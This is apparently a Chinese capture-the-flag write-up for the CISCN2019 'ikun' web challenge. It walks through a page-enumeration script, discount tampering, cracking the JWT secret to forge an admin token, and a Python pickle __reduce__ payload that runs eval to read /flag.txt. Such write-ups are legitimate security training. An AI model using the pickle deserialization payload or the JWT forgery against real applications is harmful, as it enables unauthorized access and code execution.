CISCN2019 华北赛区 Day1 Web2 ikun

loading

地址:https://buuoj.cn
考点:

  • 逻辑漏洞
  • JWT
  • 未授权访问
  • python反序列化

ikun-1

看到主页,一定要买到lv6

ikun-2

ikun-3

很多还有下一页,点击下一页后发现url的改变

1
http://4cf0b42f-4999-42cb-8ea4-8be1be09e6ad.node3.buuoj.cn/shop?page=2

于是测试了一下,总共有500页,写了个简单的脚本寻找lv6

1
2
3
4
5
6
7
8
9
from time import sleep
import requests
url="http://4cf0b42f-4999-42cb-8ea4-8be1be09e6ad.node3.buuoj.cn/shop?page="
for i in range(0,500):
r=requests.get(url+str(i))
sleep(0.4)
if 'lv6.png' in r.text:
print(i)
break

最开始没写sleep,被封了IP,挂个代理跑了两分钟结果为181

ikun-4

创建了一个账号,查看余额,远远不够买lv6

ikun-5

burp抓个包看看

ikun-6

有价格,折扣,改了价格会显示操作失败,于是改了折扣

ikun-7

是一个重定向,浏览器如下显示,并有了后台地址/b1g_m4mber但是需要权限

ikun-8

抓的包里还看到了JWT,拿去解码

ikun-9

正是刚才注册的id,就想着这里能不能未授权登陆管理员账号。
爆破出JWT的key为1kun

ikun-10

管理员的JWT,修改jwt字段往服务器发包

ikun-11

ikun-12

成功以管理员登陆

ikun-13

先看了看管理员身份的个人中心

ikun-14

一眼看出是unicode编码,本以为就要结束了,结果

ikun-15

那就回到购买lv6页面,源码发现文件下载,分析。

ikun-16

admin.py存在反序列化

ikun-17

附上exp

1
2
3
4
5
6
7
8
9
10
import pickle
import urllib

class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))

a = pickle.dumps(payload())
a = urllib.quote(a)
print a

将生成的payload传给become传入服务器可成功回显flag

声明

评论